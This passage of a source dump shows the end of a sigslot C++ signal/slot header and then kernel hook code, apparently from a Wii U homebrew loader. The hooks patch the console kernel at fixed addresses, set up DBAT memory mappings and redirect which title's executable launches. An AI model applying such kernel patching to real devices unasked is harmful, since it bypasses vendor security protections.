pclass) { lock_block lock(this); iterator it = m_connected_slots.begin(); iterator itEnd = m_connected_slots.end(); while(it != itEnd) { if((*it)->getdest() == pclass) { delete *it; this->m_connected_slots.erase(it); pclass->signal_disconnect(this); return; } ++it; } } bool connected() { return m_connected_slots.size() != 0; } void slot_disconnect(has_slots* pslot) { lock_block lock(this); iterator it = m_connected_slots.begin(); iterator itEnd = m_connected_slots.end(); while(it != itEnd) { iterator itNext = it; ++itNext; if((*it)->getdest() == pslot) { delete *it; m_connected_slots.erase(it); // delete *it; } it = itNext; } } protected: connections_list m_connected_slots; }; template class _signal_base5 : public _signal_base { public: typedef std::list<_connection_base5 *> connections_list; typedef typename connections_list::const_iterator const_iterator; typedef typename connections_list::iterator iterator; _signal_base5() { ; } _signal_base5(const _signal_base5& s) : _signal_base(s) { lock_block lock(this); const_iterator it = s.m_connected_slots.begin(); const_iterator itEnd = s.m_connected_slots.end(); while(it != itEnd) { (*it)->getdest()->signal_connect(this); m_connected_slots.push_back((*it)->clone()); ++it; } } void slot_duplicate(const has_slots* oldtarget, has_slots* newtarget) { lock_block lock(this); iterator it = m_connected_slots.begin(); iterator itEnd = m_connected_slots.end(); while(it != itEnd) { if((*it)->getdest() == oldtarget) { m_connected_slots.push_back((*it)->duplicate(newtarget)); } ++it; } } ~_signal_base5() { disconnect_all(); } void disconnect_all() { lock_block lock(this); const_iterator it = m_connected_slots.begin(); const_iterator itEnd = m_connected_slots.end(); while(it != itEnd) { (*it)->getdest()->signal_disconnect(this); delete *it; ++it; } m_connected_slots.erase(m_connected_slots.begin(), m_connected_slots.end()); } void disconnect(has_slots* pclass) { lock_block lock(this); iterator it = m_connected_slots.begin(); iterator itEnd = m_connected_slots.end(); while(it != itEnd) { if((*it)->getdest() == pclass) { delete *it; m_connected_slots.erase(it); pclass->signal_disconnect(this); return; } ++it; } } bool connected() { return m_connected_slots.size() != 0; } void slot_disconnect(has_slots* pslot) { lock_block lock(this); iterator it = m_connected_slots.begin(); iterator itEnd = m_connected_slots.end(); while(it != itEnd) { iterator itNext = it; ++itNext; if((*it)->getdest() == pslot) { delete *it; m_connected_slots.erase(it); // delete *it; } it = itNext; } } protected: connections_list m_connected_slots; }; template class _signal_base6 : public _signal_base { public: typedef std::list<_connection_base6 *> connections_list; typedef typename connections_list::const_iterator const_iterator; typedef typename connections_list::iterator iterator; _signal_base6() { ; } _signal_base6(const _signal_base6& s) : _signal_base(s) { lock_block lock(this); const_iterator it = s.m_connected_slots.begin(); const_iterator itEnd = s.m_connected_slots.end(); while(it != itEnd) { (*it)->getdest()->signal_connect(this); m_connected_slots.push_back((*it)->clone()); ++it; } } void slot_duplicate(const has_slots* oldtarget, has_slots* newtarget) { lock_block lock(this); iterator it = m_connected_slots.begin(); iterator itEnd = m_connected_slots.end(); while(it != itEnd) { if((*it)->getdest() == oldtarget) { m_connected_slots.push_back((*it)->duplicate(newtarget)); } ++it; } } ~_signal_base6() { disconnect_all(); } void disconnect_all() { lock_block lock(this); const_iterator it = m_connected_slots.begin(); const_iterator itEnd = m_connected_slots.end(); while(it != itEnd) { (*it)->getdest()->signal_disconnect(this); delete *it; ++it; } m_connected_slots.erase(m_connected_slots.begin(), m_connected_slots.end()); } void disconnect(has_slots* pclass) { lock_block lock(this); iterator it = m_connected_slots.begin(); iterator itEnd = m_connected_slots.end(); while(it != itEnd) { if((*it)->getdest() == pclass) { delete *it; m_connected_slots.erase(it); pclass->signal_disconnect(this); return; } ++it; } } bool connected() { return m_connected_slots.size() != 0; } void slot_disconnect(has_slots* pslot) { lock_block lock(this); iterator it = m_connected_slots.begin(); iterator itEnd = m_connected_slots.end(); while(it != itEnd) { iterator itNext = it; ++itNext; if((*it)->getdest() == pslot) { delete *it; m_connected_slots.erase(it); // delete *it; } it = itNext; } } protected: connections_list m_connected_slots; }; template class _signal_base7 : public _signal_base { public: typedef std::list<_connection_base7 *> connections_list; typedef typename connections_list::const_iterator const_iterator; typedef typename connections_list::iterator iterator; _signal_base7() { ; } _signal_base7(const _signal_base7& s) : _signal_base(s) { lock_block lock(this); const_iterator it = s.m_connected_slots.begin(); const_iterator itEnd = s.m_connected_slots.end(); while(it != itEnd) { (*it)->getdest()->signal_connect(this); m_connected_slots.push_back((*it)->clone()); ++it; } } void slot_duplicate(const has_slots* oldtarget, has_slots* newtarget) { lock_block lock(this); iterator it = m_connected_slots.begin(); iterator itEnd = m_connected_slots.end(); while(it != itEnd) { if((*it)->getdest() == oldtarget) { m_connected_slots.push_back((*it)->duplicate(newtarget)); } ++it; } } ~_signal_base7() { disconnect_all(); } void disconnect_all() { lock_block lock(this); const_iterator it = m_connected_slots.begin(); const_iterator itEnd = m_connected_slots.end(); while(it != itEnd) { (*it)->getdest()->signal_disconnect(this); delete *it; ++it; } m_connected_slots.erase(m_connected_slots.begin(), m_connected_slots.end()); } void disconnect(has_slots* pclass) { lock_block lock(this); iterator it = m_connected_slots.begin(); iterator itEnd = m_connected_slots.end(); while(it != itEnd) { if((*it)->getdest() == pclass) { delete *it; m_connected_slots.erase(it); pclass->signal_disconnect(this); return; } ++it; } } bool connected() { return m_connected_slots.size() != 0; } void slot_disconnect(has_slots* pslot) { lock_block lock(this); iterator it = m_connected_slots.begin(); iterator itEnd = m_connected_slots.end(); while(it != itEnd) { iterator itNext = it; ++itNext; if((*it)->getdest() == pslot) { delete *it; m_connected_slots.erase(it); // delete *it; } it = itNext; } } protected: connections_list m_connected_slots; }; template class _signal_base8 : public _signal_base { public: typedef std::list<_connection_base8 *> connections_list; typedef typename connections_list::const_iterator const_iterator; typedef typename connections_list::iterator iterator; _signal_base8() { ; } _signal_base8(const _signal_base8& s) : _signal_base(s) { lock_block lock(this); const_iterator it = s.m_connected_slots.begin(); const_iterator itEnd = s.m_connected_slots.end(); while(it != itEnd) { (*it)->getdest()->signal_connect(this); m_connected_slots.push_back((*it)->clone()); ++it; } } void slot_duplicate(const has_slots* oldtarget, has_slots* newtarget) { lock_block lock(this); iterator it = m_connected_slots.begin(); iterator itEnd = m_connected_slots.end(); while(it != itEnd) { if((*it)->getdest() == oldtarget) { m_connected_slots.push_back((*it)->duplicate(newtarget)); } ++it; } } ~_signal_base8() { disconnect_all(); } void disconnect_all() { lock_block lock(this); const_iterator it = m_connected_slots.begin(); const_iterator itEnd = m_connected_slots.end(); while(it != itEnd) { (*it)->getdest()->signal_disconnect(this); delete *it; ++it; } m_connected_slots.erase(m_connected_slots.begin(), m_connected_slots.end()); } void disconnect(has_slots* pclass) { lock_block lock(this); iterator it = m_connected_slots.begin(); iterator itEnd = m_connected_slots.end(); while(it != itEnd) { if((*it)->getdest() == pclass) { delete *it; m_connected_slots.erase(it); pclass->signal_disconnect(this); return; } ++it; } } bool connected() { return m_connected_slots.size() != 0; } void slot_disconnect(has_slots* pslot) { lock_block lock(this); iterator it = m_connected_slots.begin(); iterator itEnd = m_connected_slots.end(); while(it != itEnd) { iterator itNext = it; ++itNext; if((*it)->getdest() == pslot) { delete *it; m_connected_slots.erase(it); // delete *it; } it = itNext; } } protected: connections_list m_connected_slots; }; template class _connection0 : public _connection_base0 { public: _connection0() { this->pobject = NULL; this->pmemfun = NULL; } _connection0(dest_type* pobject, void (dest_type::*pmemfun)()) { m_pobject = pobject; m_pmemfun = pmemfun; } virtual ~_connection0() { ; } virtual _connection_base0* clone() { return new _connection0(*this); } virtual _connection_base0* duplicate(has_slots* pnewdest) { return new _connection0((dest_type *)pnewdest, m_pmemfun); } virtual void emit() { (m_pobject->*m_pmemfun)(); } virtual has_slots* getdest() const { return m_pobject; } private: dest_type* m_pobject; void (dest_type::* m_pmemfun)(); }; template class _connection1 : public _connection_base1 { public: _connection1() { this->pobject = NULL; this->pmemfun = NULL; } _connection1(dest_type* pobject, void (dest_type::*pmemfun)(arg1_type)) { m_pobject = pobject; m_pmemfun = pmemfun; } virtual ~_connection1() { ; } virtual _connection_base1* clone() { return new _connection1(*this); } virtual _connection_base1* duplicate(has_slots* pnewdest) { return new _connection1((dest_type *)pnewdest, m_pmemfun); } virtual void emit(arg1_type a1) { (m_pobject->*m_pmemfun)(a1); } virtual has_slots* getdest() const { return m_pobject; } private: dest_type* m_pobject; void (dest_type::* m_pmemfun)(arg1_type); }; template class _connection2 : public _connection_base2 { public: _connection2() { this->pobject = NULL; this->pmemfun = NULL; } _connection2(dest_type* pobject, void (dest_type::*pmemfun)(arg1_type, arg2_type)) { m_pobject = pobject; m_pmemfun = pmemfun; } virtual ~_connection2() { ; } virtual _connection_base2* clone() { return new _connection2(*this); } virtual _connection_base2* duplicate(has_slots* pnewdest) { return new _connection2((dest_type *)pnewdest, m_pmemfun); } virtual void emit(arg1_type a1, arg2_type a2) { (m_pobject->*m_pmemfun)(a1, a2); } virtual has_slots* getdest() const { return m_pobject; } private: dest_type* m_pobject; void (dest_type::* m_pmemfun)(arg1_type, arg2_type); }; template class _connection3 : public _connection_base3 { public: _connection3() { this->pobject = NULL; this->pmemfun = NULL; } _connection3(dest_type* pobject, void (dest_type::*pmemfun)(arg1_type, arg2_type, arg3_type)) { m_pobject = pobject; m_pmemfun = pmemfun; } virtual ~_connection3() { ; } virtual _connection_base3* clone() { return new _connection3(*this); } virtual _connection_base3* duplicate(has_slots* pnewdest) { return new _connection3((dest_type *)pnewdest, m_pmemfun); } virtual void emit(arg1_type a1, arg2_type a2, arg3_type a3) { (m_pobject->*m_pmemfun)(a1, a2, a3); } virtual has_slots* getdest() const { return m_pobject; } private: dest_type* m_pobject; void (dest_type::* m_pmemfun)(arg1_type, arg2_type, arg3_type); }; template class _connection4 : public _connection_base4 { public: _connection4() { this->pobject = NULL; this->pmemfun = NULL; } _connection4(dest_type* pobject, void (dest_type::*pmemfun)(arg1_type, arg2_type, arg3_type, arg4_type)) { m_pobject = pobject; m_pmemfun = pmemfun; } virtual ~_connection4() { ; } virtual _connection_base4* clone() { return new _connection4(*this); } virtual _connection_base4* duplicate(has_slots* pnewdest) { return new _connection4((dest_type *)pnewdest, m_pmemfun); } virtual void emit(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4) { (m_pobject->*m_pmemfun)(a1, a2, a3, a4); } virtual has_slots* getdest() const { return m_pobject; } private: dest_type* m_pobject; void (dest_type::* m_pmemfun)(arg1_type, arg2_type, arg3_type, arg4_type); }; template class _connection5 : public _connection_base5 { public: _connection5() { this->pobject = NULL; this->pmemfun = NULL; } _connection5(dest_type* pobject, void (dest_type::*pmemfun)(arg1_type, arg2_type, arg3_type, arg4_type, arg5_type)) { m_pobject = pobject; m_pmemfun = pmemfun; } virtual ~_connection5() { ; } virtual _connection_base5* clone() { return new _connection5(*this); } virtual _connection_base5* duplicate(has_slots* pnewdest) { return new _connection5((dest_type *)pnewdest, m_pmemfun); } virtual void emit(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4, arg5_type a5) { (m_pobject->*m_pmemfun)(a1, a2, a3, a4, a5); } virtual has_slots* getdest() const { return m_pobject; } private: dest_type* m_pobject; void (dest_type::* m_pmemfun)(arg1_type, arg2_type, arg3_type, arg4_type, arg5_type); }; template class _connection6 : public _connection_base6 { public: _connection6() { this->pobject = NULL; this->pmemfun = NULL; } _connection6(dest_type* pobject, void (dest_type::*pmemfun)(arg1_type, arg2_type, arg3_type, arg4_type, arg5_type, arg6_type)) { m_pobject = pobject; m_pmemfun = pmemfun; } virtual ~_connection6() { ; } virtual _connection_base6* clone() { return new _connection6(*this); } virtual _connection_base6* duplicate(has_slots* pnewdest) { return new _connection6((dest_type *)pnewdest, m_pmemfun); } virtual void emit(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4, arg5_type a5, arg6_type a6) { (m_pobject->*m_pmemfun)(a1, a2, a3, a4, a5, a6); } virtual has_slots* getdest() const { return m_pobject; } private: dest_type* m_pobject; void (dest_type::* m_pmemfun)(arg1_type, arg2_type, arg3_type, arg4_type, arg5_type, arg6_type); }; template class _connection7 : public _connection_base7 { public: _connection7() { this->pobject = NULL; this->pmemfun = NULL; } _connection7(dest_type* pobject, void (dest_type::*pmemfun)(arg1_type, arg2_type, arg3_type, arg4_type, arg5_type, arg6_type, arg7_type)) { m_pobject = pobject; m_pmemfun = pmemfun; } virtual ~_connection7() { ; } virtual _connection_base7* clone() { return new _connection7(*this); } virtual _connection_base7* duplicate(has_slots* pnewdest) { return new _connection7((dest_type *)pnewdest, m_pmemfun); } virtual void emit(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4, arg5_type a5, arg6_type a6, arg7_type a7) { (m_pobject->*m_pmemfun)(a1, a2, a3, a4, a5, a6, a7); } virtual has_slots* getdest() const { return m_pobject; } private: dest_type* m_pobject; void (dest_type::* m_pmemfun)(arg1_type, arg2_type, arg3_type, arg4_type, arg5_type, arg6_type, arg7_type); }; template class _connection8 : public _connection_base8 { public: _connection8() { this->pobject = NULL; this->pmemfun = NULL; } _connection8(dest_type* pobject, void (dest_type::*pmemfun)(arg1_type, arg2_type, arg3_type, arg4_type, arg5_type, arg6_type, arg7_type, arg8_type)) { m_pobject = pobject; m_pmemfun = pmemfun; } virtual ~_connection8() { ; } virtual _connection_base8* clone() { return new _connection8(*this); } virtual _connection_base8* duplicate(has_slots* pnewdest) { return new _connection8((dest_type *)pnewdest, m_pmemfun); } virtual void emit(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4, arg5_type a5, arg6_type a6, arg7_type a7, arg8_type a8) { (m_pobject->*m_pmemfun)(a1, a2, a3, a4, a5, a6, a7, a8); } virtual has_slots* getdest() const { return m_pobject; } private: dest_type* m_pobject; void (dest_type::* m_pmemfun)(arg1_type, arg2_type, arg3_type, arg4_type, arg5_type, arg6_type, arg7_type, arg8_type); }; template class signal0 : public _signal_base0 { public: typedef typename _signal_base0::connections_list::const_iterator const_iterator; signal0() { ; } signal0(const signal0& s) : _signal_base0(s) { ; } virtual ~signal0() { ; } template void connect(desttype* pclass, void (desttype::*pmemfun)()) { lock_block lock(this); _connection0* conn = new _connection0(pclass, pmemfun); this->m_connected_slots.push_back(conn); pclass->signal_connect(this); } void emit() { lock_block lock(this); const_iterator itNext, it = this->m_connected_slots.begin(); const_iterator itEnd = this->m_connected_slots.end(); while(it != itEnd) { itNext = it; ++itNext; (*it)->emit(); it = itNext; } } void operator()() { lock_block lock(this); const_iterator itNext, it = this->m_connected_slots.begin(); const_iterator itEnd = this->m_connected_slots.end(); while(it != itEnd) { itNext = it; ++itNext; (*it)->emit(); it = itNext; } } }; template class signal1 : public _signal_base1 { public: typedef typename _signal_base1::connections_list::const_iterator const_iterator; signal1() { ; } signal1(const signal1& s) : _signal_base1(s) { ; } virtual ~signal1() { ; } template void connect(desttype* pclass, void (desttype::*pmemfun)(arg1_type)) { lock_block lock(this); _connection1* conn = new _connection1(pclass, pmemfun); this->m_connected_slots.push_back(conn); pclass->signal_connect(this); } void emit(arg1_type a1) { lock_block lock(this); const_iterator itNext, it = this->m_connected_slots.begin(); const_iterator itEnd = this->m_connected_slots.end(); while(it != itEnd) { itNext = it; ++itNext; (*it)->emit(a1); it = itNext; } } void operator()(arg1_type a1) { lock_block lock(this); const_iterator itNext, it = this->m_connected_slots.begin(); const_iterator itEnd = this->m_connected_slots.end(); while(it != itEnd) { itNext = it; ++itNext; (*it)->emit(a1); it = itNext; } } }; template class signal2 : public _signal_base2 { public: typedef typename _signal_base2::connections_list::const_iterator const_iterator; signal2() { ; } signal2(const signal2& s) : _signal_base2(s) { ; } virtual ~signal2() { ; } template void connect(desttype* pclass, void (desttype::*pmemfun)(arg1_type, arg2_type)) { lock_block lock(this); _connection2* conn = new _connection2(pclass, pmemfun); this->m_connected_slots.push_back(conn); pclass->signal_connect(this); } void emit(arg1_type a1, arg2_type a2) { lock_block lock(this); const_iterator itNext, it = this->m_connected_slots.begin(); const_iterator itEnd = this->m_connected_slots.end(); while(it != itEnd) { itNext = it; ++itNext; (*it)->emit(a1, a2); it = itNext; } } void operator()(arg1_type a1, arg2_type a2) { lock_block lock(this); const_iterator itNext, it = this->m_connected_slots.begin(); const_iterator itEnd = this->m_connected_slots.end(); while(it != itEnd) { itNext = it; ++itNext; (*it)->emit(a1, a2); it = itNext; } } }; template class signal3 : public _signal_base3 { public: typedef typename _signal_base3::connections_list::const_iterator const_iterator; signal3() { ; } signal3(const signal3& s) : _signal_base3(s) { ; } virtual ~signal3() { ; } template void connect(desttype* pclass, void (desttype::*pmemfun)(arg1_type, arg2_type, arg3_type)) { lock_block lock(this); _connection3* conn = new _connection3(pclass, pmemfun); this->m_connected_slots.push_back(conn); pclass->signal_connect(this); } void emit(arg1_type a1, arg2_type a2, arg3_type a3) { lock_block lock(this); const_iterator itNext, it = this->m_connected_slots.begin(); const_iterator itEnd = this->m_connected_slots.end(); while(it != itEnd) { itNext = it; ++itNext; (*it)->emit(a1, a2, a3); it = itNext; } } void operator()(arg1_type a1, arg2_type a2, arg3_type a3) { lock_block lock(this); const_iterator itNext, it = this->m_connected_slots.begin(); const_iterator itEnd = this->m_connected_slots.end(); while(it != itEnd) { itNext = it; ++itNext; (*it)->emit(a1, a2, a3); it = itNext; } } }; template class signal4 : public _signal_base4 { public: typedef typename _signal_base4::connections_list::const_iterator const_iterator; signal4() { ; } signal4(const signal4& s) : _signal_base4(s) { ; } virtual ~signal4() { ; } template void connect(desttype* pclass, void (desttype::*pmemfun)(arg1_type, arg2_type, arg3_type, arg4_type)) { lock_block lock(this); _connection4* conn = new _connection4(pclass, pmemfun); this->m_connected_slots.push_back(conn); pclass->signal_connect(this); } void emit(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4) { lock_block lock(this); const_iterator itNext, it = this->m_connected_slots.begin(); const_iterator itEnd = this->m_connected_slots.end(); while(it != itEnd) { itNext = it; ++itNext; (*it)->emit(a1, a2, a3, a4); it = itNext; } } void operator()(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4) { lock_block lock(this); const_iterator itNext, it = this->m_connected_slots.begin(); const_iterator itEnd = this->m_connected_slots.end(); while(it != itEnd) { itNext = it; ++itNext; (*it)->emit(a1, a2, a3, a4); it = itNext; } } }; template class signal5 : public _signal_base5 { public: typedef typename _signal_base5::connections_list::const_iterator const_iterator; signal5() { ; } signal5(const signal5& s) : _signal_base5(s) { ; } virtual ~signal5() { ; } template void connect(desttype* pclass, void (desttype::*pmemfun)(arg1_type, arg2_type, arg3_type, arg4_type, arg5_type)) { lock_block lock(this); _connection5* conn = new _connection5(pclass, pmemfun); this->m_connected_slots.push_back(conn); pclass->signal_connect(this); } void emit(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4, arg5_type a5) { lock_block lock(this); const_iterator itNext, it = this->m_connected_slots.begin(); const_iterator itEnd = this->m_connected_slots.end(); while(it != itEnd) { itNext = it; ++itNext; (*it)->emit(a1, a2, a3, a4, a5); it = itNext; } } void operator()(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4, arg5_type a5) { lock_block lock(this); const_iterator itNext, it = this->m_connected_slots.begin(); const_iterator itEnd = this->m_connected_slots.end(); while(it != itEnd) { itNext = it; ++itNext; (*it)->emit(a1, a2, a3, a4, a5); it = itNext; } } }; template class signal6 : public _signal_base6 { public: typedef typename _signal_base6::connections_list::const_iterator const_iterator; signal6() { ; } signal6(const signal6& s) : _signal_base6(s) { ; } virtual ~signal6() { ; } template void connect(desttype* pclass, void (desttype::*pmemfun)(arg1_type, arg2_type, arg3_type, arg4_type, arg5_type, arg6_type)) { lock_block lock(this); _connection6* conn = new _connection6(pclass, pmemfun); this->m_connected_slots.push_back(conn); pclass->signal_connect(this); } void emit(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4, arg5_type a5, arg6_type a6) { lock_block lock(this); const_iterator itNext, it = this->m_connected_slots.begin(); const_iterator itEnd = this->m_connected_slots.end(); while(it != itEnd) { itNext = it; ++itNext; (*it)->emit(a1, a2, a3, a4, a5, a6); it = itNext; } } void operator()(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4, arg5_type a5, arg6_type a6) { lock_block lock(this); const_iterator itNext, it = this->m_connected_slots.begin(); const_iterator itEnd = this->m_connected_slots.end(); while(it != itEnd) { itNext = it; ++itNext; (*it)->emit(a1, a2, a3, a4, a5, a6); it = itNext; } } }; template class signal7 : public _signal_base7 { public: typedef typename _signal_base7::connections_list::const_iterator const_iterator; signal7() { ; } signal7(const signal7& s) : _signal_base7(s) { ; } virtual ~signal7() { ; } template void connect(desttype* pclass, void (desttype::*pmemfun)(arg1_type, arg2_type, arg3_type, arg4_type, arg5_type, arg6_type, arg7_type)) { lock_block lock(this); _connection7* conn = new _connection7(pclass, pmemfun); this->m_connected_slots.push_back(conn); pclass->signal_connect(this); } void emit(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4, arg5_type a5, arg6_type a6, arg7_type a7) { lock_block lock(this); const_iterator itNext, it = this->m_connected_slots.begin(); const_iterator itEnd = this->m_connected_slots.end(); while(it != itEnd) { itNext = it; ++itNext; (*it)->emit(a1, a2, a3, a4, a5, a6, a7); it = itNext; } } void operator()(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4, arg5_type a5, arg6_type a6, arg7_type a7) { lock_block lock(this); const_iterator itNext, it = this->m_connected_slots.begin(); const_iterator itEnd = this->m_connected_slots.end(); while(it != itEnd) { itNext = it; ++itNext; (*it)->emit(a1, a2, a3, a4, a5, a6, a7); it = itNext; } } }; template class signal8 : public _signal_base8 { public: typedef typename _signal_base8::connections_list::const_iterator const_iterator; signal8() { ; } signal8(const signal8& s) : _signal_base8(s) { ; } virtual ~signal8() { ; } template void connect(desttype* pclass, void (desttype::*pmemfun)(arg1_type, arg2_type, arg3_type, arg4_type, arg5_type, arg6_type, arg7_type, arg8_type)) { lock_block lock(this); _connection8* conn = new _connection8(pclass, pmemfun); this->m_connected_slots.push_back(conn); pclass->signal_connect(this); } void emit(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4, arg5_type a5, arg6_type a6, arg7_type a7, arg8_type a8) { lock_block lock(this); const_iterator itNext, it = this->m_connected_slots.begin(); const_iterator itEnd = this->m_connected_slots.end(); while(it != itEnd) { itNext = it; ++itNext; (*it)->emit(a1, a2, a3, a4, a5, a6, a7, a8); it = itNext; } } void operator()(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4, arg5_type a5, arg6_type a6, arg7_type a7, arg8_type a8) { lock_block lock(this); const_iterator itNext, it = this->m_connected_slots.begin(); const_iterator itEnd = this->m_connected_slots.end(); while(it != itEnd) { itNext = it; ++itNext; (*it)->emit(a1, a2, a3, a4, a5, a6, a7, a8); it = itNext; } } }; }; // namespace sigslot #endif // SIGSLOT_H__ ================================================ FILE: src/kernel/kernel_functions.c ================================================ #include #include "common/common.h" #include "common/kernel_defs.h" #include "kernel/kernel_functions.h" #include "kernel/syscalls.h" /* our retain data */ ReducedCosAppXmlInfo cosAppXmlInfoStruct __attribute__((section(".data"))); /* * This function is a kernel hook function. It is called directly from kernel code at position 0xFFF18558. */ void my_PrepareTitle(CosAppXmlInfo *xmlKernelInfo) { /** * DBAT for access to our data region is setup at this point for the 0xC0000000 area. */ // check for Mii Maker RPX or Smash Bros RPX when we started (region independent check) if(GAME_LAUNCHED && ( ((strncasecmp("ffl_app.rpx", xmlKernelInfo->rpx_name, FS_MAX_ENTNAME_SIZE) == 0) && (LOADIINE_MODE == LOADIINE_MODE_MII_MAKER)) || ((strncasecmp("homebrew_launcher.rpx", xmlKernelInfo->rpx_name, FS_MAX_ENTNAME_SIZE) == 0) && (LOADIINE_MODE == LOADIINE_MODE_MII_MAKER)) || ((strncasecmp("cross_f.rpx", xmlKernelInfo->rpx_name, FS_MAX_ENTNAME_SIZE) == 0) && (LOADIINE_MODE == LOADIINE_MODE_SMASH_BROS)) || ((strncasecmp("app.rpx", xmlKernelInfo->rpx_name, FS_MAX_ENTNAME_SIZE) == 0) && (LOADIINE_MODE == LOADIINE_MODE_KARAOKE)) || ((strncasecmp("Treasure.rpx", xmlKernelInfo->rpx_name, FS_MAX_ENTNAME_SIZE) == 0) && (LOADIINE_MODE == LOADIINE_MODE_ART_ATELIER)))) { //! Copy all data from the parsed XML info strncpy(xmlKernelInfo->rpx_name, cosAppXmlInfoStruct.rpx_name, FS_MAX_ENTNAME_SIZE); // split arguments for(unsigned int i = 0; i < strlen(cosAppXmlInfoStruct.rpx_name); i++) { if (xmlKernelInfo->rpx_name[i] == ' ') { xmlKernelInfo->rpx_name[i] = 0; } } xmlKernelInfo->version_cos_xml = cosAppXmlInfoStruct.version_cos_xml; xmlKernelInfo->os_version = cosAppXmlInfoStruct.os_version; xmlKernelInfo->title_id = cosAppXmlInfoStruct.title_id; xmlKernelInfo->app_type = cosAppXmlInfoStruct.app_type; xmlKernelInfo->cmdFlags = cosAppXmlInfoStruct.cmdFlags; xmlKernelInfo->max_size = cosAppXmlInfoStruct.max_size; xmlKernelInfo->avail_size = cosAppXmlInfoStruct.avail_size; xmlKernelInfo->codegen_size = cosAppXmlInfoStruct.codegen_size; xmlKernelInfo->codegen_core = cosAppXmlInfoStruct.codegen_core; xmlKernelInfo->max_codesize = cosAppXmlInfoStruct.max_codesize; xmlKernelInfo->overlay_arena = cosAppXmlInfoStruct.overlay_arena; xmlKernelInfo->default_stack0_size = cosAppXmlInfoStruct.default_stack0_size; xmlKernelInfo->default_stack1_size = cosAppXmlInfoStruct.default_stack1_size; xmlKernelInfo->default_stack2_size = cosAppXmlInfoStruct.default_stack2_size; xmlKernelInfo->default_redzone0_size = cosAppXmlInfoStruct.default_redzone0_size; xmlKernelInfo->default_redzone1_size = cosAppXmlInfoStruct.default_redzone1_size; xmlKernelInfo->default_redzone2_size = cosAppXmlInfoStruct.default_redzone2_size; xmlKernelInfo->exception_stack0_size = cosAppXmlInfoStruct.exception_stack0_size; xmlKernelInfo->exception_stack1_size = cosAppXmlInfoStruct.exception_stack1_size; xmlKernelInfo->exception_stack2_size = cosAppXmlInfoStruct.exception_stack2_size; xmlKernelInfo->sdk_version = cosAppXmlInfoStruct.sdk_version; xmlKernelInfo->title_version = cosAppXmlInfoStruct.title_version; } } void SetupKernelCallback(void) { KernelSetupSyscalls(); } ================================================ FILE: src/kernel/kernel_functions.h ================================================ #ifndef __KERNEL_FUNCTIONS_H_ #define __KERNEL_FUNCTIONS_H_ #ifdef __cplusplus extern "C" { #endif #include "common/kernel_defs.h" #include "syscalls.h" void SetupKernelCallback(void); extern ReducedCosAppXmlInfo cosAppXmlInfoStruct; #ifdef __cplusplus } #endif #endif // __KERNEL_FUNCTIONS_H_ ================================================ FILE: src/kernel/kernel_hooks.S ================================================ # This stuff may need a change in different kernel versions # This is only needed when launched directly through browser and not SD card. .section ".kernel_code" .globl SaveAndResetDataBATs_And_SRs_hook SaveAndResetDataBATs_And_SRs_hook: # setup CTR to the position we need to return to mflr r5 mtctr r5 # set link register to its original value mtlr r7 # setup us a nice DBAT for our code data with same region as our code mfspr r5, 560 mtspr 570, r5 mfspr r5, 561 mtspr 571, r5 # restore the original kernel instructions that we replaced lwz r5, 0x34(r3) lwz r6, 0x38(r3) lwz r7, 0x3C(r3) lwz r8, 0x40(r3) lwz r9, 0x44(r3) lwz r10, 0x48(r3) lwz r11, 0x4C(r3) lwz r3, 0x50(r3) isync mtsr 7, r5 # jump back to the position in kernel after our patch (from LR) bctr .extern my_PrepareTitle .globl my_PrepareTitle_hook my_PrepareTitle_hook: # store all registers on stack to avoid issues with the call to C functions stwu r1, -0x90(r1) # registers for our own usage # only need r31 and rest is from tests before, just leaving it for later tests stw r28, 0x20(r1) stw r29, 0x24(r1) stw r30, 0x28(r1) stw r31, 0x2C(r1) stw r3, 0x30(r1) stw r4, 0x34(r1) stw r5, 0x38(r1) stw r6, 0x3C(r1) stw r7, 0x40(r1) stw r8, 0x44(r1) stw r9, 0x48(r1) stw r10, 0x4C(r1) stw r11, 0x50(r1) stw r12, 0x54(r1) stw r13, 0x58(r1) stw r14, 0x5C(r1) stw r15, 0x60(r1) stw r16, 0x64(r1) stw r17, 0x68(r1) stw r18, 0x6C(r1) stw r19, 0x70(r1) stw r20, 0x74(r1) stw r21, 0x78(r1) stw r22, 0x7C(r1) # save the LR from where we came mflr r31 # the cos.xml/app.xml structure is at the location 0x68 of r11 # there are actually many places that can be hooked for it # e.g. 0xFFF16130 and r27 points to this structure addi r3, r11, 0x68 bl my_PrepareTitle # memory barrier eieio isync # setup LR to jump back to kernel code mtlr r31 # restore all original values of registers from stack lwz r28, 0x20(r1) lwz r29, 0x24(r1) lwz r30, 0x28(r1) lwz r31, 0x2C(r1) lwz r3, 0x30(r1) lwz r4, 0x34(r1) lwz r5, 0x38(r1) lwz r6, 0x3C(r1) lwz r7, 0x40(r1) lwz r8, 0x44(r1) lwz r9, 0x48(r1) lwz r10, 0x4C(r1) lwz r11, 0x50(r1) lwz r12, 0x54(r1) lwz r13, 0x58(r1) lwz r14, 0x5C(r1) lwz r15, 0x60(r1) lwz r16, 0x64(r1) lwz r17, 0x68(r1) lwz r18, 0x6C(r1) lwz r19, 0x70(r1) lwz r20, 0x74(r1) lwz r21, 0x78(r1) lwz r22, 0x7C(r1) # restore the stack addi r1, r1, 0x90 # restore original instruction that we replaced in the kernel clrlwi r7, r12, 0 # jump back blr ================================================ FILE: src/kernel/syscalls.c ================================================ #include "common/os_defs.h" #include "common/kernel_defs.h" #include "common/common.h" #include "dynamic_libs/os_functions.h" #include "utils/utils.h" #include "syscalls.h" extern void my_PrepareTitle_hook(void); static unsigned int origPrepareTitleInstr __attribute__((section(".data"))) = 0; static void KernelCopyData(unsigned int addr, unsigned int src, unsigned int len) { /* * Setup a DBAT access with cache inhibited to write through and read directly from memory */ unsigned int dbatu0, dbatl0, dbatu1, dbatl1; // save the original 